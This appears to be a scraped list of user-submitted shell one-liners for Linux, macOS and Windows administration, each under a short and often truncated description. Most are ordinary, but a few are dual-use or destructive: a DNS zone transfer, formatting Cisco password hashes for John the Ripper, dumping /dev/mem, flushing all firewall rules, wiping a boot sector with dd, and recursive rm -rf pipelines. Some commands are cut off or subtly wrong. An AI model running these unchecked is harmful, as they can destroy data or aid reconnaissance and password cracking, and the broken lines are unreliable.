 for c in `seq 0 255`;do t=5;[[ $c -lt 108 ]]&&t=0;for i in `seq $t 5`;do echo -e "\e[0;48;$i;${c}m|| $i:$c `seq -s+0 $(($COLUMNS/2))|tr -d '[0-9]'`\e[0m";done;done

* How fast is the connexion to a URL, some stats from curl

 URL="http://www.google.com";curl -L --w "$URL\nDNS %{time_namelookup}s conn %{time_connect}s time %{time_total}s\nSpeed %{speed_download}bps Size %{size_download}bytes\n" -o/dev/null -s $URL

* Emulate a dual-screen using vnc

 x2vnc {-west|-east|-north|-south} computer-ip:display-number

* Remove the boot loader from a usb stick

 dd if=/dev/zero of=/dev/sdb bs=446 count=1

* Archive every file in /var/logs

 find /var/logs -name * | xargs tar -jcpf logs_`date +%Y-%m-%e`.tar.bz2

* Check syntax of all PHP files before an SVN commit

 for i in `svn status | egrep '^(M|A)' | sed -r 's/\+\s+//' | awk '{ print $2 }'` ; do if [ ! -d $i ] ; then php -l $i ; fi ; done

* Remove an old gmetric statistic

 gmetric -n $METRIC_NAME -v foo -t string -d 10

* Today's date on a yearly calendar...

 cal -y | tr '\n' '|' | sed "s/^/ /;s/$/ /;s/ $(date +%e) / $(date +%e | sed 's/./#/g') /$(date +%m | sed s/^0//)" | tr '|' '\n'

* Eclipse needs to know the path to the local maven repository.

 mvn -Declipse.workspace=<path-to-eclipse-workspace> eclipse:add-maven-repo

* Do a quick check on the harware specifications on a set of Linux

 clear; for i in `cat thehosts` ; do ssh $i "cat uname -a ; /etc/redhat-release; cat /proc/cpuinfo | tail -n 25 | egrep '^processor|^model name' "; free ; df -h ;done

* Get max number of arguments

 getconf ARG_MAX

* get the list of temps for your hard-drives

 hddtemp /dev/sda /dev/sdb /dev/hda /dev/hdb | gawk '{print $NF}' | perl -n -e '$_ =~ s/(\d+)/print "$1 "/eg }{ print "\n"'

* Shows the torrent file name along with the trackers url

 grep -ao -HP "http://[^/]*/" *

* Delete Empty Directories

 find . -type d -exec rmdir {} \;

* my command for downloading delicious web links,

 wget -H -r -nv --level=1 -k -p -erobots=off -np -N --exclude-domains=del.icio.us,doubleclick.net --exclude-directories=

* How to Find the Block Size

 /sbin/dumpe2fs /dev/hda2 | grep 'Block size'

* automatically add and remove files in subversion

 svn st | grep '^\?' | awk '{print $2}' | xargs svn add; svn st | grep '^\!' | awk '{print $2}' | xargs svn rm

* alias for etckeeper, to commit changes after moification of etc

 function ec() { ec_var="`pwd`" && cd /etc/ && sudo bzr commit -m "$@" && cd $ec_var; }

* Syslog System Reporting in a shell

 tail -f --retry /var/log/syslog /var/log/auth.log | ccze -A

* view the system memory in clear text

 hexdump -e '90/1 "%_p" "\n"' /dev/mem | less

* prints message in given argument on on center of screen

 function echox { echo `tput cup $(($(tput lines))) $(( ($(tput cols) - $(echo "${#1}"))/2 ))`"$1"`tput cup $(tput lines) $(( $(tput cols)-1 ))`; }

* fetch 1600 jokes from robsjokes.com into a single file, which is

 for i in `seq -w 1600` ; do links -dump http://www.robsjokes.com/$i/index.html | sed '/Random Joke/,/Next Joke/!d' | sed '/^$/,/^$/!d' >> ~/temp/Rob.jokes ; echo '%' >> ~/temp/Rob.jokes ; done

* sync a directory of corrupted jpeg with a source directory

 for i in *jpg; do jpeginfo -c $i | grep -E "WARNING|ERROR" | cut -d " " -f 1 | xargs -I '{}' find /mnt/sourcerep -name {} -type f -print0 | xargs -0 -I '{}' cp -f {} ./ ; done

* Reads in the ~/.Xdefaults

 alias xdef_load='xrdb -merge ~/.Xdefaults'

* Search gdb help pages

 gdb command: apropos <keyword>

* One liner gdb attach to Acrobat

 (acroread &);sleep 2;gdb /opt/Adobe/Reader8/Reader/intellinux/bin/acroread `pidof ld-linux.so.2`

* Convert ip address in hexadecimal

 gethostip 208.69.34.230 -x

* Find your graphics chipset

 lspci |grep VGA

* Laminate files line by line

 lam -f 1.4 myfile

* Convert Raw pictures to jpg

 for img in $( ls *.CR2 ); do convert $img $img.jpg; done

* Get a summary of network devices in the system

 $ for i in `ls --color=none /sys/class/net`; do echo "# $i"; sudo ethtool $i | grep -E "Link|Speed" ; done

* Install a library to a remote repository

 mvn deploy:deploy-file -DgroupId=groupId -DartifactId=artifactId -Dversion=1.0 -Dpackaging=jar -Dfile=pathtolib -DrepositoryId=repository -Durl=url

* Get thread count for process on Solaris

 ps -L -p <pid> | wc -l

* Start a vnc session on the currently running X session

 x0vnc4server -display :0 -PasswordFile ~/.vnc/passwd

* Send Disk usage via email

 #!/bin/sh #du.sh i=`hostname -i` df -h > /tmp/space.txt echo "server $i " >> /tmp/space.txt uuencode /tmp/space.txt space.txt | mail -s "HDD usage $i" email@email.com

* List installed rpm named and arquitecture.

 rpm -qa --queryformat "%{NAME} %{ARCH}\n"

* Execute a command with the last parameter of a previous command

 ls !$

* Number of seconds to certain unix date

 echo $( (( $( (2**31 -1) ) - $(date +%s) )) )

* Get the version of sshd on a remote system

 ssh -vN hostname 2>&1 | grep "remote software version"

* log your PC's motherboard and CPU temperature along with the

 date +%m/%d/%y%X|tr -d 'n' >>datemp.log&& sensors|grep +5V|cut -d "(" -f1|tr -d 'n'>> datemp.log && sensors |grep Temp |cut -d "(" -f1|tr -d 'n'>>datemp.log

* Delete more than one month old thumbnails from home directory

 find ~/.thumbnails/ -type f -atime +30 -print0 | xargs -0 rm

* Clean up after improper deletes in subversion

 svn rm `svn status | grep "\!" | cut -c 8-`

* Create a symbolic link tree that shadows a directory structure

 find /home/user/doc/ -type d -printf "mkdir -vp '/home/user/Dropbox%p'\n" -o -type f -printf "ln -vs '%p' '/home/user/Dropbox%p'\n" | sh

* Given NOPASSWD privileges on a remote SSH server, sftp as root

 sftp -s "sudo /usr/lib/sftp-server" user@host

* Simple countdown from a given date

 watch --no-title -d -n 1 'echo `date -d "next Thursday" +%s` "-" `date +%s` | bc -l'

* Clean the /boot directory

 rpm -q kernel-2* | grep -v $(uname -r) | xargs yum erase -y

* Apply all pending updates to Mandriva Linux system (2008.0 and

 urpmi --auto-update --force # apply all pending updates (Mandriva Linux)

* Dns zone transfer

 host -la domain.com

* Adds characters at the beginning of the name of a file

 rename 's/.*/[it]$&/' *.pdf

* Disable all iptables rules without disconnecting yourself

 iptables -F && iptables -X && iptables -P INPUT ACCEPT && iptables -OUTPUT ACCEPT

* Show the files that you've modified in an SVN tree

 svn status | egrep '^(M|A)' | egrep -o '[^MA\ ].*$'

* Show the ordered header line (with field names) of a CSV file

 function headers { head -1 $* | tr ',' '\12' | pr -t -n ; }

* A bash function to show the files most recently modified in the

 function t { ls -ltch $* | head -20 ; }

* Send an http HEAD request w/curl

 curl -i -X HEAD http://localhost/

* Lists open ports

 netstat -antuwp | egrep "(^[^t])|(^tcp.*LISTEN)"

* alias to show my own configured ip

 alias showip="ifconfig eth0 | grep 'inet addr:' | sed 's/.*addr\:\(.*\) Bcast\:.*/\1/'"

* do a release upgrade in ubuntu

 do-release-upgrade

* List all rpms on system by name, version and release numbers, and

 rpm -qa --qf '%{name}-%{version}-%{release}.%{arch}\n'

* Remove leading zeros in multiple columns with sed

 sed 's/\b\(0*\)//g' filename

* How to know if your NIC receive link

 watch ethtool eth0

* Strip out time difference entries when verifying rpms on x86_64

 rpm -Va | grep -v "\.\.\.\.\.\.\.T"

* host - DNS lookup utility

 host google.com

* Copy all files. All normal files, all hidden files and all files

 cp ./* .[!.]* ..?* /path/to/dir

* Create a P12 file, using OpenSSL

 openssl pkcs12 -export -in /dir/CERTIFICATE.pem -inkey /dir/KEY.pem -certfile /dir/CA-cert.pem -name "certName" -out /dir/certName.p12

* View the list of files and directories in an archive with less.

 less file.tar.gz

* Generate secure password to userwith chpasswd

 echo "encryptedpassword"|openssl passwd -1 -stdin

* Edit the /etc/sudoers config file the right way.

 visudo

* package most recent files in project

 find ~/project -mtime -1 -type f -print | tar jcvf myfiles.tar.bz2 -T -

* ls to show hidden file, but not . or ..

 ls -A

* Scan your LAN for unauthorized IPs

 diff <(nmap -sP 192.168.1.0/24 | grep ^Host | sed 's/.appears to be up.//g' | sed 's/Host //g') auth.hosts | sed 's/[0-9][a-z,A-Z][0-9]$//' | sed 's/</UNAUTHORIZED IP -/g'

* search manpages on the internets

 manview() { lynx -dump -accept_all_cookies 'http://www.csuglab.cornell.edu/cgi-bin/adm/man.cgi?section=all&topic=' "$1" | less; }

* AIX: Determine what filesets are missing to reach a TL

 instfix -icq | grep 5300-07_AIX_ML | grep ":-:"

* Extract the contents of an RPM package to your current directory

 rpm2cpio /path/to/file.rpm | cpio -i -d

* SVN Clean

 svn status | grep ^? | awk '{print $2}' | xargs rm -rf

* Use the page up key to complete the command.

 echo "\"\e[5~\": history-search-backward" >> ~/.inputrc

* Generate a specification file for file integrity scanning.

 mtree -c -K sha256digest -X mtree.exclude -p /path > host.mtree

* Show hidden files in OS X

 defaults write com.apple.Finder AppleShowAllFiles TRUE

* Diff with colour highlighting

 svn diff ARGUMENTS_FOR_DIFF | source-highlight --out-format=esc --src-lang=diff

* Summarize size of all files of given type in all subdirectories

 SUM=0; for FILESIZE in `find /tmp -type f -iname \*pdf -exec du -b {}

* Remount root in read-write mode.

 sudo mount -o remount,rw /

* search the pattern from bzip2'ed file

 bzgrep -i "pattern" pattern.bz2

* exclude file(s) from rsync

 rsync -vazuK --exclude "*.mp3" --exclude "*.svn*" * user@host:/path

* CSV list of infected URLS detected by ClamAV

 grep "FOUND" /var/log/squidclamav.log | awk '{print $5"-"$2"-"$3","$4","$11}' | sed -e 's/\,http.*url=/\,/g' | sed -e 's/&/\,/g' | sed -e 's/source=//g' |sed -e 's/user=//g' | sed -e 's/virus=//g' | sed -e 's/stream\:+//g' | sed -e 's/\+FOUND//g'

* Parse tektronic csv files

 awk 'BEGIN {FS=","} {loc = $4, val=$5; getline < "f0001ch1.csv"; print loc,val,$5}' f0001ch2.csv > data

* find distro name / release version

 $ cat /etc/*-release

* search installed files of package, that doesn't remember his name

 rpm -qa | grep PACKAGENAME | xargs rpm -q --filesbypkg

* Allows incoming traffic from specific IP address to port 80

 sudo ufw allow proto tcp from 1.2.3.4 to any port 80

* Send current job to the background

 ^Z then bg

* Add all not commited files to svn

 svn st | grep ^? | xargs svn add 2> /dev/null

* Grep the process excluding the grep itself.

 ps -ef | grep [t]clsh

* this toggles mute on the Master channel of an alsa soundcard

 on="off"; off="on"; now=$(amixer get Master | tr -d '[]' | grep "Playback.*%" |head -n1 |awk '{print $7}'); amixer sset Master ${!now}

* make a zip file containing all files with the openmeta tag "data"

 mdfind "tag:data" > /tmp/data.txt ; zip -r9@ ~/Desktop/data.zip < /tmp/data.txt

* catch all the txt files into a start_dir tree and copy them into

 find start_dir -name *.txt | xargs -J % cp % end_dir/

* opening your helper script without knowing the path (zsh)

 less =rcsyslog

* Easily move around many directories

 a() { alias $1=cd\ $PWD; }

* moreplayingaround

 curl -s -u username:passwd http://twitter.com/statuses/friends_timeline.rss|grep title|sed -ne 's/<\/*title>//gp' |festival --tts

* grep or

 egrep 'string1|string2' file

* Remove all directories less than 1 MB in size in or below current

 find . -type d -execdir du -sh '{}' ';' | grep -E "[0-9]+K" | sed 's/^[0-9\.]\+K[\t ]\+//' | tr "\n" "\0" | xargs -0 rm -rf

* pushd rotates the stack so that the second directory comes at the

 pushd +2; pushd -2

* List encoding of ? in all avalible char sets

 for i in `recode -l | cut -d" " -f 1`; do echo $i": ?" | recode utf-8..$i -s -p >> temp; done; vim temp

* A simple X11 tea timer

 $(STEEP=300; sleep $STEEP; xmessage "Your tea is done") &

* send files via ssh-xfer

 cat somefilehere.txt | ssh-xfer nametocallfile.txt -

* Remove blank lines from a file

 grep -v "^$" file

* Runs a command without hangups.

 nohup <command> &

* Add new file under svn version control.

 svn st | grep ^\? | awk '{print $2}' | xargs svn add

* Show some details of recent Leopard Time Machine activity - shell:

 syslog -F '$Time $Message' -k Sender /System/Library/CoreServices/backupd -k Time ge -72h | tail -n 30

* Update obsolete CVS Root files

 find cvsdir -name Root -exec sed -i 's/oldserver/newserver/' {} \;

* ps grep with header

 psg () { ps auxwww | egrep "$1|PID" | grep -v grep }

* Simple calculator

 while true; do read i; echo $[$i]; done

* Print total size of specified files and subdirectories

 du -sk * | awk '{print $1} END {print "[+z1<y]sy\nlyx\np"}' | dc

* List all files fred* unless in a junk directory

 ls **/fred*~*junk*/*

* psg (ps grep) function if you don't have pgrep or don't know how

 psg() { if [ -z "$2" ]; then psargs="aux"; greparg="$1"; else psargs="$1"; greparg="$2"; fi; ps $psargs | grep -i "$(echo $greparg | sed -e 's/^\(.\)/[\1]/')\|^$(ps $psargs | head -1)" ; }

* Play a random .avi file from a media tree

 unset files i; set -f; O=$IFS; while IFS= read -r -d $'\0' files[i++]; do :; done < <(find . -name '*.avi' -print0) && IFS=$O; set +f && echo "Running: mplayer \"${files[ $(( $RANDOM % ${#files[@]} )) ]}\""

* Paged, colored svn diff

 svn diff $* | colordiff | less -r

* set open firmware password command mode

 /usr/local/bin/OFPW -mode 1

* what the free memory grow or shink

 watch -d "free -mt"

* View video cam from remote machine during ssh session

 xawtv -remote -bpp 16 -noxv-video -geometry 160x120 -device /dev/video0

* Disable Mac OS X Dashboard

 defaults write com.apple.dashboard mcx-disabled -boolean YES; killall

* Delete all ".svn" directories from current path (recursive)

 find . -name ".svn" -exec rm -rf {} \;

* Sort files by date

 ls -lrt

* Exit shell faster

 ^D

* Backup your precious Tomato Router Stats

 curl http://root:PASSWORD@ROUTER_DYN_DNS/bwm/tomato_rstatsa001839ceb1d4.gz?_ http_id=HTTPID > $HOME/Dropbox/Backups/tomato_stats.gz

* recursively change file name extensions

 find . -type f -name \*.c | while read f; do mv $f "`basename $f .c`".C; done

* Generate a random number in a range

 START=20; END=50 echo $(($START+(`od -An -N2 -i /dev/random`)%($END-$START+1)))

* Recall last argument of previous command

 cd !$

* See which files differ in a diff

 diff dir1 dir2 | diffstat

* Stripping ^M at end of each line for files

 perl -pi -e 's:^V^M::g' <filenames>

* Clean all .pyc files from current project. It cleans all the files

 find . -name "*.pyc" -exec rm {} \;

* Locate Hacked Files and Dump.

 find . -type f -name '*.html' -exec grep -H HACKED {} \; > hacklog.txt

* search into contents of python module

 srchpymod() { python -c "import $1; print filter(lambda x: x.find('$2') >= 0, dir($1))"; };

* Make a pipe organ sound using XMMS and Python

 xmms `python -c "print \"tone://\" + \";\".join([str(22*(2**x)) for x in range(9)])"`

* exim statistics about mails from queue

 exim -bp | exiqsumm -c

* Command line invocation of ImageMagick to resize a file

 convert panorama_rainbow_2005.jpg -resize 40% panorama_rainbow_compress.jpg

* removing those pesky malformed lines at the end of a text file..

 cat -n $file | tail -n 100 && head -n number-of-lines-you-want-to-keep > newfile

* git log1 alias

 git config --global alias.log1 "log --pretty=oneline --abbrev-commit"

* Activate the mandatory proxy under ubuntu

 gconftool-2 --set "/system/http_proxy/use_http_proxy" --type boolean true

* hours before the time()==1234567890

 echo $(( (1234567890 - `date -u +\%s`) / 60 / 60 ))

* Set your computer's clock, using HTTP and HTP (HTTP Time

 htpdate -P proxy www.google.com www.yahoo.com www.commandlinefu.com

* List all Windows services on the command line

 sc queryex type= service state= all | find "_NAME"

* bash chop

 alias chop="tr -d '\r\n'"

* alias dir to ls -al

 alias dir="ls -al"

* @mail.com by adding the line in list.txt

 while read line; do echo -e "$line@mail.com"; done < list.txt

* Resize all JPEGs in a directory

 mogrify -resize 1024 *.jpg

* svn diff ignore whitespace

 svn diff --diff-cmd diff -x -uw /path/to/file

* Remove CVS root files under current directory

 find . -name Root -print | xargs rm -f

* Strip out Hungarian notation from a PHP file

 cat file.php | perl -p -e 's/(\$|->)(str|arr|obj|int|flt|boo|bool|mix|res)([A-Z])/$1\L$3/g'

* Checks the syntax of all PHP files in and below the current

 find . -name "*.php" -exec php -l {} \; | sed -e "/^No syntax/d"

* Set date and time

 sudo date -s "26 OCT 2008 19:30:00"

* Erase CD RW

 wodim -v dev=/dev/dvd -blank=fast

* Convert from a decimal number to a binary number

 echo 'ibase=10; obase=2; 127' | bc

* git branch point

 git merge-base branch1 branch2

* git merge --dry-run

 git merge --no-commit --no-ff

* Format a password file for John the Ripper from Cisco configs

 sed -n 's/[ :]/_/g; s/^\(.\{1,\}\)_5_\($1$[$./0-9A-Za-z]\{27,31\}\)_*$/\1:\2/p' < cisco-device-config > passwd

* (tcsh alias)Reverse an IPv4 address. It is useful to looking the

 alias ip4rev "echo \!* | sed 's/^\([0-9]*\)\.\([0-9]*\)\.\([0-9]*\)\.\([0-9]*\)/\4.\3.\2.\1/'"

* Quick aliases for going up a directory tree

 alias ::='cd ../../'

* print code 3-up and syntax-highlighted for easy beach-time study

 enscript -E -B -3 -r -s 0 --borders -fCourier4.8 --mark-wrapped-lines=arrow

* displays comments from random jpeg files.

 find ~/random_jpegs/folder -name "*.jpg" -exec rdjpgcom {} \;

* Change size of lots of image files. File names are read from a

 ( while read File; do mogrify -resize 1024 -quality 96 $File; done ) < filelist

* List shared libraries recognized by the system

 ldconfig -p | grep <somenewlib.so>

* check rpm pkg content w/o installation

 rpm -qlp <package.rpm>

* Switch on eeepc camera

 sudo echo 1 > /proc/acpi/asus/camera

* grep selectively

 find /path -name \*.php -user nobody -exec grep -nH whatever {} \;

* find out about a process

 cat /proc/<PID>/environ

* copying data with cpio

 find ./source -depth -print | cpio -cvo> /destination/source_data.cpio; cd /destination; cpio -icvmdI ./source_data.cpio; rm -rf ./source_data.cpio

* move files without actually touching them

 cd /some/directory \&\& tar cf - | cd /some/directory \&\& tar xvf - */

* Using psnup to get two pages per page

 psnup -2 file.ps | lpr

* printing with psnup

 psnup -4 -pa4 -Pa4 file.ps file2.ps

* to get how many users logged in and logged out and how many times

 last | awk '$1!~/wtmp/{logs[$1]++}END{for (i in logs) print i, logs[i]}'

* To get how many users logged in and logged out and how many times

 last | awk '{ print $1 }' | sort | uniq -c | grep -v wtmp

* To get the different name field nformation on rpm packages

 rpm -qa --qf '%{name}'

* To get the latest information on rpm packages

 rpm -qa --last

* Show all local disk and UFS mounts on Solaris

 df -kFufs

* View latest apache access log

 view `ls -1 access_log.* | tail -n 1`

* Serve one or more git repositories

 git daemon --reuseaddr --verbose --export-all --base-path=/parent/of/bare/git/repos

* change to the selected directory for zsh users

 alias scd='dirs -v; echo -n "select number: "; read newdir; cd -"$newdir"'

* Perl check if library is installed

 perl -e "use SOAP::Lite"

* encode HTML entities

 perl -MHTML::Entities -ne 'print encode_entities($_)' /tmp/subor.txt

* Show all occurences of STRING with filename and line number for

 find DIR -name "FILE" -exec grep -IHn STRING {} \;

* find and kill a zombie process

 kill -HUP `ps -A -ostat,ppid,pid,cmd | grep -e '^[Zz]' | awk '{print $2}'`

* make non-printable characters visible

 cat -A

* quick integer CPU benchmark

 echo '2^2^20' | time bc > /dev/null

* Get all IPs via ifconfig

 ifconfig -a | perl -nle'/(\d+\.\d+\.\d+\.\d+)/ && print $1'

* Get all these commands in a text file with description.

 for x in `jot - 0 2400 25`; do curl "http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/$ x" ; done > commandlinefu.txt

* Get all IPs via ifconfig

 ifconfig | perl -nle'/dr:(\S+)/ && print $1'

* Show git branches by date - useful for showing active branches

 for k in `git branch|perl -pe s/^..//`;do echo -e `git show --pretty=format:"%Cgreen%ci %Cblue%cr%Creset" $k|head -n 1`\\t$k;done|sort -r

* Set your profile so that you resume or start a screen session on

 echo "screen -DR" >> ~/.bash_profile

* Purge configuration files of removed packages on debian based

 sudo aptitude purge `dpkg --get-selections | grep deinstall | awk '{print $1}'`

* Grep colorized

 grep -i --color=auto

* Delete the specified line

 sed -i 8d ~/.ssh/known_hosts

* git remove files which have been deleted

 git rm $(git ls-files --deleted)

* Pipe STDOUT to vim

 tail -1000 /some/file | vim -

* Calculates the date 2 weeks ago from Saturday the specified

 date -d '2 weeks ago Saturday' +%Y-%m-%d

* Add your public SSH key to a server in one command

 cat .ssh/id_rsa.pub | ssh hostname 'cat >> .ssh/authorized_keys'

* pattern match in awk - no grep

 awk '/pattern1/ && /pattern2/ && !/pattern3/ {print}'

* Echo the latest commands from commandlinefu on the console

 wget -O - http://www.commandlinefu.com/commands/browse/rss 2>/dev/null | awk '/\s*<title/ {z=match($0, /CDATA\[([^\]]*)\]/, b);print b[1]} /\s*<description/ {c=match($0, /code>(.*)<\/code>/, d);print d[1]"\n"} '

* scping files with streamlines compression (tar gzip)

 tar czv file1 file2 folder1 | ssh user@server tar zxv -C /destination

* Optimal way of deleting huge numbers of files

 find /path/to/dir -type f -print0 | xargs -0 rm

* convert vdi to vmdk (virtualbox hard disk conversion to vmware

 VBoxManage internalcommands converttoraw winxp.vdi winxp.raw && qemu-img convert -O vmdk winxp.raw winxp.vmdk && rm winxp.raw

* Kill processes that have been running for more than a week

 find /proc -user myuser -maxdepth 1 -type d -mtime +7 -exec basename {} \; | xargs kill -9

* Change user, assume environment, stay in current dir

 su -- user

* List Network Tools in Linux

 apropos network |more

* Search filenames with given pattern; each one is transfered via

 'ls -1 *<pattern>* | while read file; do scp $file user@host:/path/; if

* JVM Garbage Collector Stats

 jstat -gc [jvmpid]

* Convert Windows/DOS Text Files to Unix

 dos2unix dostxt unixtxt

* Reset the time stamps on a file

 touch -acm yyyymmddhhMM.ss [file]

* Convert PDFLaTeX PDF to Illustrator-usable EPS

 gs -dNOCACHE -dNOPAUSE -dBATCH -dSAFER -sDEVICE=epswrite -dEPSCrop -sOutputFile=out.eps in.pdf

* List files in an RPM package

 rpm --query --filesbypackage [packagename]

* List RPM packages installed in current tree

 find $PWD -exec rpm --query -f {} \; | sort -u | grep -v "not owned"

* See whether your compiled Apache is prefork or worker MPM

 /usr/sbin/httpd -l

* Rotate the X screen via xrandr

 xrandr --output [youroutput] --rotate [right|left|normal] -d [yourdisplay]

* Customizable Search Context

 echo -n search\>\ ; read SEARCH_STRING && sed -n "/$SEARCH_STRING/{n;p;n;p;n;p;q}" [file-to-search]

* ps with parent/child process tree

 ps auxf

* Create files of arbitrary size in Windows

 fsutil file createnew FILENAME filesize(inbytes)

* Convert an ssh2 public key to openssh format

 ssh-keygen -i -f $sshkeysfile >> authorized_keys

* (Inside of a shell script) Make executable a BeanShell script

 ///bin/true; exec java bsh.Interpreter "$0" "$@"

* list process ids for given program

 pidof httpd

* Total procs, avg size (RSS) and Total mem use

 ps awwwux | grep httpd | grep -v grep | awk '{mem = $6; tot = $6 + tot; total++} END{printf("Total procs: %d\nAvg Size: %d KB\nTotal Mem Used: %f GB\n", total, mem / total, tot / 1024 / 1024)}'

* view all lines without comments.

 grep -v "^#" file.txt | more

* search for files or directories, then show a sorted list

 for i in $(locate your_search_phrase); do dirname $i; done | sort | uniq

* List all packages with no dependencies (yum based system)

 package-cleanup --leaves --all

* Find the process ID of such program:

 pgrep xterm

* Link all the files in this directory to that directory

 cd /this/directory; for f in *; do ln -s `pwd`/$f /that/directory; done

* cpuinfo

 cat /proc/cpuinfo

* look for a header reference in a shared library

 strings libc-2.2.5.so | grep stat.h

* Shows the largest files in your archives

 tar -tvjf backup.tar.bz2 | sort -nrk 3 | head

* Start urxvt and do whatever is needed to open the screen session

 screen -ls | grep main && urxvt -name screen -e screen -x main || urxvt -name screen -e screen -R -S main

* SSH to a machine's internet address if it is not present on your

 ping localip -c 1 -W 1 &> /dev/null && ssh localip || ssh globalip

* infile search and replace on N files

 perl -pi -e's/foo/bar/g' file1 file2 fileN

* Find the files that contain a certain term

 find /path/to/dir -type f -exec grep \-H "search term" {} \;

* Analyse a PHP file for instantations and static calls

 grep -o "\(new \(\w\+\)\|\w\+::\)" file.php | sed 's/new \|:://' | sort | uniq -c | sort

* Add a line to crontab using sed

 crontab -l | sed -e '$G;$s-$-'"$CRON_MINS $CRON_HOUR"' * * * /usr/bin/command >/dev/null 2>&1-' | crontab -

* Print a row of 50 hyphens

 printf "%50s\n"|tr ' ' -

* analyze traffic remotely over ssh w/ wireshark

 sudo ssh -Y remoteuser@remotehost sudo wireshark

* Get name of first configured interface

 ifconfig | grep -B 1 "inet addr:" | head -1 | cut -d" " -f1

* Empty a file

 truncate foobar.txt

* Find all uses of PHP constants in a set of files

 $class=ExampleClass; $path=src; for constant in `grep ' const ' $class.php | awk '{print $2;}'`; do grep -r "$class::$constant" $path; done

* Copy a file over SSH without SCP

 uuencode -m <filename> <filename>

* Tar - Compress by excluding folders

 tar -cvf /path/dir.tar /path/dir* --exclude "/path/dir/name" --exclude "/path/dir/opt"

* Print line numbers

 sed = <file> | sed 'N;s/\n/\t/'

* prints line numbers

 sed '/./=' infile | sed '/^/N; s/\n/ /'

* show your locale language keyboard setting

 locale | grep LANG=

* Format a flooppy with windows compatible disk

 mformat -f 1440 A:

* mount a msdos formated floppy disk

 mount -t msdos /dev/fd0 /mnt/floppy

* prints line numbers

 while read str; do echo "$((++i)) - $str"; done < infile

* prints line numbers

 cat infile | while read str; do echo "$((++i)) - $str" ; done;

* prints line numbers

 grep -n . datafile ;

* Show Network IP and Subnet

 IP=`ifconfig eth0 | grep "inet addr:" | ips |cut -d ":" -f 2 | cut -d " " -f 1`;SUBNET=`ifconfig eth0 | grep "inet addr:" | ips |cut -d ":" -f 3 | cut -d " " -f 1`;RANGE=`ipcalc $IP/$SUBNET | grep "Network:" | cut -d ' ' -f 4`;echo $RANGE

* Match a URL

 echo "(Something like http://foo.com/blah_blah)" | awk '{for(i=1;i<=NF;i++){if($i~/^(http|ftp):\/\//)print $i}}'

* List files that DO NOT match a pattern

 printf "%s\n" !(pattern) ## ksh, or bash with shopt -s extglob

* Mount a Windows share on the local network (Ubuntu) with user

 sudo mount -t cifs -o credentials=/path/to/credenials //hostname/sharename /mount/point

* Simple read and write test with Iozone

 iozone -s 2g -r 64 -i 0 -i 1 -t 1

* kalarm 1 per minute simplest e-mail beacom for Geovision

 curl http://www.spam.la/?f=sender | grep secs| awk '{print; exit}' | osd_cat -i 40 -d 30 -l 2

* Show a script or config file without comments

 sed -e '/^[[:blank:]]*#/d; s/[[:blank:]][[:blank:]]*#.*//' -e '/^$/d' -e '/^\/\/.*/d' -e '/^\/\*/d;/^ \* /d;/^ \*\//d' /a/file/with/comments

* Get your external IP address

 exec 3<>/dev/tcp/whatismyip.com/80; echo -e "GET /automation/n09230945.asp HTTP/1.0\r\nHost: whatismyip.com\r\n" >&3; a=( $(cat <&3) ); echo ${a[${#a[*]}-1]};

* What is my ip?

 alias whatismyip="wget -q -O - http://whatismyip.com/automation/n09230945.asp"

* Get a text on a position on the file and store in a variable

 TIMEUNIT=$(awk '/timescale/{print NR}' a)

* Useful if you need to see compiler errors while edit a code

 CRTL + L

* get ^DJI

 getdji (){local url sedcmd;url='http://finance.yahoo.com/q?d=t&s=^DJI';sedcmd='/(DJI:.*)/,/ Day.*/!d;s/^ *//g;';sedcmd="$sedcmd/Change:/s/Down / -/;/Change:/s/Up / +/;";sedcmd="$sedcmd/Open:/s//& /";lynx -dump "$url" | sed "$sedcmd"; }

* What is my ip?

 w3m http://amit-agarwal.co.in/mystuff/getip_txt.php will return the ip in text format.

* What is my ip?

 w3m miip.cl | grep ip

* Show current folder permission from /, useful for debugging ssh

 awk 'BEGIN{dir=DIR?DIR:ENVIRON["PWD"];l=split(dir,parts,"/");last="";for(i= 1;i<l+1;i++){d=last"/"parts[i];gsub("//","/",d);system("ls -ld \""d"\"");last=d}}'

* Email if you disk is over 90%

 HDD=$(df | awk ' NR>3 (S=$5) (M=$6) { if (S>90) print "Your Systems "M" is """S" Full" } ') ; [[ $HDD ]] && echo "$HDD" | mail -s "Hard-Drives Full" TO@EMAIL.com -- -f FROM@EMAIL.com >/dev/null

* search for a TAB characters in a text file

 grep $'\t' file.txt

* List only the directories

 ls -F|grep /

* List open TCP/UDP ports

 ss -ltu

* shell function to diff two zip files.

 unzip_diff () { dir1="/tmp/diff/$1"; dir2="/tmp/diff/$2"; mkdir -p $dir1 $dir2; unzip $1 -d $dir1>/dev/null; unzip $2 -d $dir2>/dev/null; diff -q $dir1 $dir2; rm -rf /tmp/diff ; }

* change newlines to spaces (or commas or whatever). Acts as a

 alias nl2space="perl -ne 'push @F, \$_; END { chomp @F; print join(qq{ }, @F) , qq{\n};}' "

* List dot-files and dirs, but not "." and ".."

 ls .[!.]*

* List all text files (exclude binary files)

 find . -type f -exec file {} \; | grep ".*: .* text" | cut -f 1 -d :

* Visualizing system performance data

 vmstat 2 10 | awk 'NR > 2 {print NR, $13}' | gnuplot -e "set terminal png;set output 'v.png';plot '-' u 1:2 t 'cpu' w linespoints;"

* Show apps that use internet connection at the moment.

 netstat -lantp | grep -i establ | awk -F/ '{print $2}' | uniq | sort

* regex to match an ip

 echo 127.0.0.1 | egrep -e '^(([01]?[0-9]{1,2}|2[0-4][0-9]|25[0-4])\.){3}([01]?[0-9]{1,2}|2[0-4][0 -9]|25[0-4])$'

* regex to match an ip

 perl -wlne 'print $1 if

* List debian package installed by size

 wajig large

* get users process list

 ps -u<user>

* Delete all but the latest 5 files

 ls -t | awk 'NR>5 {system("rm \"" $0 "\"")}'

* Open files of the same name in TextMate

 mate - `find . -name 'filename'`

* Check variable has been set

 : ${VAR:?unset variable}

* view file content with echo

 echo "$(</etc/issue)"

* search for a file in PATH

 which <filename>

* search for a file in PATH

 for L in `echo :$PATH | tr : '\n'`; do F=${L:-"."}/fileName; if [ -f ${F} -o -h ${F} ]; then echo ${F}; break; fi; done

* search for a file in PATH

 function sepath { echo $PATH |tr ":" "\n" |sort -u |while read L ; do cd "$L" 2>/dev/null && find . \( ! -name . -prune \) \( -type f -o -type l \) 2>/dev/null |sed "s@^\./@@" |egrep -i "${*}" |sed "s@^@$L/@" ; done ; }

* Hexadecimal dump of a file, pipe, or anything

 cat testfile | hexdump -C

* Capitalize the word with dd

